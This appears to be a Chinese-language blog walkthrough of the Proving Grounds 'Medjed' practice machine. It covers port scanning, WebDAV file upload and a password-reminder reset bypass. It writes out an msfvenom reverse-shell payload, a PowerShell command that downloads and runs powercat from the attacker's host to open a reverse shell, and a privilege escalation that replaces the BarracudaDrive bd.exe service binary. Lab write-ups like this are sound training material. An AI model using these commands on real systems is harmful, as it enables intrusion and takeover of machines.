Proving Grounds Practice : Medjed Walkthrough
Proving Grounds Practice : Medjed Walkthrough
Foothole (立足點 ) :
- 8000 是 BarracudaDrive 網站可以上傳檔案，上傳至 XAMPP htdocs 路徑下
- 在 45332、45443 發現是 XAMPP 網站，執行 webshell.php 建立 reverse shell 登入
PE ( 提權 ) :
- BarracudaDrive Exploit-DB 48789 標準利用，bd.exe 程式替換成 payload 重開機拿到管理者 shell
注意事項 :
- 標準梗 : A 網站上傳的東西在 B 網站利用
- BarracudaDrive 的利用學習
第一步 Rustscan，└─$ rustscan -a 192.168.244.127 --scripts none --ulimit 5000 | tee rustscan
snmp closed，└─$ sudo nmap -sU -p 161 192.168.244.127 | tee snmp
nmap，└─$ sudo nmap -sCV -A -p 135,139,445,3306,5040,8000,30021,33033,44330,45332,45443,49664,49665,49667,49666,49669,49668 192.168.244.127 | tee nmap
8000 http
| WebDAV type: Unknown
enum4linux，└─$ enum4linux -a 192.168.244.127
8000 /
Web-File-Server
BarracudaDrive 6.5
設定 admin:admin123
searchsploit BarracudaDrive 看了一下是登入系統後的利用，暫時用不到
cadaver 測試 8000 Port 也報錯
看網站的 Web-File-Server 發現 WebDAV 路徑在 /fs
測試 └─$ cadaver http://192.168.244.127:8000/fs/ 進去了
然後上傳 payload，└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.224 LPORT=4444 -f exe -b '\x00\x0d\x0a' -o shell.exe
顯示失敗
後來發現網頁可以直接上傳，但上傳 cmdasp.aspx 也是失敗
後來發現網站可以直接讀取磁碟機
http://192.168.244.127:8000/fs/c/
直接讀到檔案了
http://192.168.244.127:8000/fs/c/Users/Jerren/Desktop/local.txt
也列舉出使用者帳號 Jerren
後來發現一開始無法上傳 shell.exe 是因為權限問題
當把目錄切換到 c:\users\Jerren\Desktop 就上傳成功了
但執行 shell.exe 後變成下載該 payload 物件，是著上傳 cmdasp.aspx
simple-backdoor.ph、php-reverse-shell.php、webshell.php、
執行之後都會變成下載
先暫時放著前往下一個目標 FTP 匿名登入，└─$ ftp 192.168.244.127 -P 30021
檔案很多先抓線來慢慢看
繼續前往下一個目標 33033 網站
已經被我們知道帳號的使用者 Jerren 是個貓咪
33033 /login
點了 forgetpassword 可以直接 reset 密碼，試著 reset 使用者 Jerren 的密碼再嘗試登入還是失敗
後來嘗試將名稱改成跟網頁一樣的 Email 帳號 "jerren.devops"
這裡一樣失敗，但出現了 "The password reminder doesn't match the records"
意思是說 reminder 有限制
測試了一番後，發現 reminder 是 "paranoid"
這一次成功 reset password 了
發現可以上傳頭像，且最下面有個連結是 /slug
點開來後如下，很像一個 SQL 語法輸入介面
先用最標準的 ' 試試看如下，網址是 http://192.168.244.127:33033/slug?URL=%27
但又跑了幾個測試後一樣都是錯誤，看來又要先放棄了
繼續往下看 45332 /
是個網頁 QA 遊戲
這網站是個 php 網站
繼續下一個 45443 看來跟上一個很像
前面在 8000 Port 有逛了一下發現是 XAMPP 架站
發現可以上傳所以也有丟了幾個檔案 webshell.php、shll.exe、simple-backdoor.php
以前有學過在 A 路徑上傳的檔案，可以透過 B Port 的網站存取
這裡在 45332 發現有同樣的方式 http://192.168.244.127:45332/webshell.php
45443 Port 也是一樣的狀況 http://192.168.244.127:45443/webshell.php
直接執行 shell.exe 看來是 MIME TYPE 的關係，一樣是下載
直接 webshell 接 powershell 試試看吧
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.224/tools/powercat.ps1'); powercat -c 192.168.45.224 -p 4444 -e powershell"
成功拿到 Reverse Shell 了
很想罵髒話的一個靶機，相當簡單但前面浪費了許多時間
開始 PE，whoami /priv 看來沒搞頭
最一開始看到的 https://www.exploit-db.com/exploits/48789 先試試看
將 shell.exe 替換 bd.exe
現有使用者可以 (M)
PS C:\bd> mv bd.exe bd.exe.old
重新開機 shutdown -f -r -t 0
reverse shell 進來了，whoami 確認是管理者
留言
張貼留言